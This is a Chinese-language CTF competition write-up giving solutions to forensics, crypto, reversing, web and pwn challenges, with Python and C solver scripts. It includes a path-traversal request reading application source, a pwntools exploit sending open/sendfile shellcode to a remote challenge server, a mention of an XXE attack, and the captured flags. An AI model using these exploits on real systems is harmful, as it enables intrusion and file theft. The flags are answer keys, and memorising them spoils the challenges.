整体来说还是挺简单的,去年的唯唯诺诺,今年的重拳出击😁

数据分析

flowzip

wireshark上传后,ctrl+F搜索字符串flag,找到flag

image-20250426103927875

flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

ezEvtx

根据题目描述,右边筛选,选择警告之后寻找

image-20250426104204020

找到文件名,提交正确

image-20250426104256501

flag{confidential.docx}

密码破解

Enigma

enigma加密的特性决定的,直接搜索enigma,看是不是有意义的,flag包裹提交成功

image-20250426112547140

flag{HELLOCTFERTHISISAMESSAGEFORYOU}

easy_AES

根据题目描述,知道要爆破key

题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?

通过 gift = key0 & key1 的 nibble 级映射关系,构造每个 key0 nibble 的可能取值集合,并根据 key1 中相同值的全局一致性进行交叉约束,最后利用回溯枚举可能的 key0,验证是否能正确解密出以 flag{ 开头的明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from collections import defaultdict

# 已知数据
gift = 64698960125130294692475067384121553664
key1_hex = "74aeb356c6eb74f364cd316497c0f714"
cipher = b'\x36\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

# 输入验证
if len(key1_hex) != 32:
raise ValueError("key1_hex must be 32 hexadecimal characters")
if len(cipher) % 16 != 0:
raise ValueError("cipher length must be a multiple of 16 bytes")
if len(cipher) < 16:
raise ValueError("cipher is too short to contain valid plaintext")

# 将 gift 拆分成 32 个 nibble
gift_bin = format(gift, '0128b')
gift_nibbles = [int(gift_bin[i*4:(i+1)*4], 2) for i in range(32)]

# 将 key1 拆分成 32 个 nibble
key1_nibbles = [int(key1_hex[i:i+1], 16) for i in range(32)]

# 计算每个位置的候选值
pos_cands = []
for i in range(32):
m = key1_nibbles[i]
b = gift_nibbles[i]
cands = [x for x in range(16) if (x & m) == b]
pos_cands.append(cands)

# 按 key1_nibble 的值分组,交叉约束得到每个值的候选集合
positions_by_y = defaultdict(list)
for i, y in enumerate(key1_nibbles):
positions_by_y[y].append(i)

y_cands = {}
for y, poses in positions_by_y.items():
s = set(pos_cands[poses[0]])
for i in poses[1:]:
s &= set(pos_cands[i])
y_cands[y] = list(s)

# 回溯枚举全局反置换 inv_map: y -> x
used = set()
inv_map = {}
solutions = []

# 按候选集大小升序排序,优先分配约束最严的 y
items = sorted(y_cands.items(), key=lambda kv: len(kv[1]))

def dfs(idx):
if idx == len(items):
key0_nibbles = [inv_map.get(y, 0) for y in key1_nibbles]
key0_hex = "".join(f"{n:x}" for n in key0_nibbles)
try:
# 转换为字节形式的密钥
key0_bytes = bytes.fromhex(key0_hex)
key1_bytes = bytes.fromhex(key1_hex)
# 双重AES-CBC解密
aes0 = AES.new(key0_bytes, AES.MODE_CBC, key1_bytes)
aes1 = AES.new(key1_bytes, AES.MODE_CBC, key0_bytes)
pt = unpad(aes0.decrypt(aes1.encrypt(cipher)), AES.block_size)
if pt.startswith(b"flag{"):
print(f"Found correct key0: {key0_hex}")
print(f"Plaintext flag: {pt.decode()}")
solutions.append((key0_hex, pt.decode()))
return True # 找到一个解后停止(可改为 False 枚举所有解)
except Exception as e:
pass # 调试时可打印:print(f"Decryption failed for key0 {key0_hex}: {e}")
return False

y, cands = items[idx]
for x in cands:
if x in used:
continue
inv_map[y] = x
used.add(x)
if dfs(idx + 1):
return True
used.remove(x)
del inv_map[y]
return False

# 启动回溯
print("Starting backtracking search...")
dfs(0)

if not solutions:
print("No valid solution found. Please check the following:")
print("- gift and key1_hex are correct")
print("- ciphertext matches the encryption logic")
print("- Double AES-CBC encryption/decryption logic is consistent with the problem requirements")
else:
print(f"Found {len(solutions)} solutions")

image-20250426134920236

逆向分析

ShadowPhases

rc4,ida打开一眼顶针,在strcmp处下断点,windows local调试,点进str2,得到flag

image-20250426113647552

image-20250426113741748

flag{0fa830e7-b699-4513-8e01-51f35b0f3293}

BashBreaker

先是一个于ai的取值对局,ai很蠢直接能过,得到一个密钥不知道有什么用

image-20250426131530386

翻找旁边的函数表得到有Rc4的逻辑,然后又发现ONE_PIECE疑似密文

image-20250426131706776

image-20250426131627287

直接dump下来魔改rc4的逻辑解密就好了

image-20250426131813306

image-20250426131827528

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>

#define _BYTE unsigned char
#define _DWORD unsigned int
#define _QWORD unsigned long

unsigned char data[48] = {
0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48, 0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75,
0x8C, 0x89, 0xCD, 0xDD, 0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43, 0xE1, 0xD2,
0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02, 0x39, 0x18
};

__int64 __fastcall rc4_init(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 result; // rax
char v4; // [rsp+2h] [rbp-Eh]
int j; // [rsp+4h] [rbp-Ch]
int v6; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

for (i = 0; i <= 255; ++i)
*(_BYTE*)(a1 + i) = i;
v6 = 0;
for (j = 0; j <= 255; ++j)
{
v6 = ((*(_BYTE*)(j % a3 + a2) ^ 0x37) + *(unsigned __int8*)(a1 + j) + v6) % 256;
v4 = *(_BYTE*)(a1 + j);
*(_BYTE*)(a1 + j) = *(_BYTE*)(a1 + v6);

*(_BYTE*)(a1 + v6) = v4;
//printf("%d,",*(_BYTE*)(a1 + j));
}

*(_DWORD*)(a1 + 260) = 0;
result = a1;
*(_DWORD*)(a1 + 256) = *(_DWORD*)(a1 + 260);
return result;
}

__int64 __fastcall rc4_next(__int64 a1)
{
unsigned __int8 v2; // [rsp+Eh] [rbp-2h]
char v3; // [rsp+Fh] [rbp-1h]

*(_DWORD*)(a1 + 256) = (*(_DWORD*)(a1 + 256) + 1) % 256;
*(_DWORD*)(a1 + 260) = (*(_DWORD*)(a1 + 260) + *(unsigned __int8*)(a1 + *(int*)(a1 + 256))) % 256;
v3 = *(_BYTE*)(a1 + *(int*)(a1 + 256));
*(_BYTE*)(a1 + *(int*)(a1 + 256)) = *(_BYTE*)(a1 + *(int*)(a1 + 260));
*(_BYTE*)(a1 + *(int*)(a1 + 260)) = v3;
v2 = *(_BYTE*)(a1 + (unsigned __int8)(*(_BYTE*)(a1 + *(int*)(a1 + 256)) + *(_BYTE*)(a1 + *(int*)(a1 + 260))));
return (16 * v2) | (unsigned int)(v2 >> 4);
}

unsigned char key[0x200];

int main(){
unsigned char real_key[] = "EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD";
rc4_init((long long)key, (long long)real_key, sizeof(real_key)-1);

for (int i = 0; i < 42; i++) {
data[i] ^= rc4_next((long long)key);
}
printf("%s", data);
return 0;
}

flag{8263b6c6-094d-4bd8-bbc2-b63ab34e8db7}

情报收集

黑客密室逃脱

文件读取,访问/file?name=/app/app.py可以得到源码,审计代码

访问/file?name=hidden.txt,得到密钥

image-20250426114137286

访问/logs,得到密文

得到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def decrypt_data(encrypted_hex, key):
# Convert hex string to bytes
encrypted = bytes.fromhex(encrypted_hex)
decrypted = bytearray()

for index in range(len(encrypted)):
char = encrypted[index]
key_char = key[index % len(key)]
# Perform decryption by subtracting the key character
decrypted.append(char - ord(key_char))

return decrypted.decode()

# Encrypted data and key
encrypted_hex = 'd9d1c4d9e0d795a49ab19a976366a8c794d692a8929ecba69a6a6872a09a94a397acc29f99df6a9468b6'
key = "secret_key8129"

# Decrypt and print the result
print(decrypt_data(encrypted_hex, key))

image-20250426114238954

flag{c6958bf1-5b1d-433f-b969-51128c44f2c6}

漏洞挖掘分析

RuneBreach

程序就是写了一个打怪逻辑,当n100<0的时候,会给一次执行shellcode的机会,或者输入别的后续有个栈溢出

image-20250426114842604

image-20250426115005757

但这个题目开启了沙盒,明显读入orw的shellcode更快image-20250426115043418

随便输入字符串进入BOSS环节,输入orw的shellcode,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*

context(os='linux',arch='amd64',log_level='debug')


elf=ELF('./pwn')
p=remote('8.147.132.32',18505)
#p=process('./pwn')
p.recvuntil("\nDefend? (y/N): ")
p.sendline(b'1')

p.recvuntil("\nDefend? (y/N): ")
p.sendline(b'1')

p.recvuntil("\nDefend? (y/N): ")
p.sendline(b'1')

p.recvuntil("\nDefend? (y/N): ")
p.sendline(b'1')

p.recvuntil("[BOSS] Say your last word to your territory: ")
payload=asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall



mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
''')

p.sendline(payload)

p.interactive()

flag{33dc7e62-e555-40b6-8f72-1b24d6e6cb44}

image-20250426125621468

星际XML解析器

xxe攻击,直接传个payload就行了

image-20250426115525208

image-20250426115508494

flag{7826b63b-5646-4920-8f01-b26b1806a979}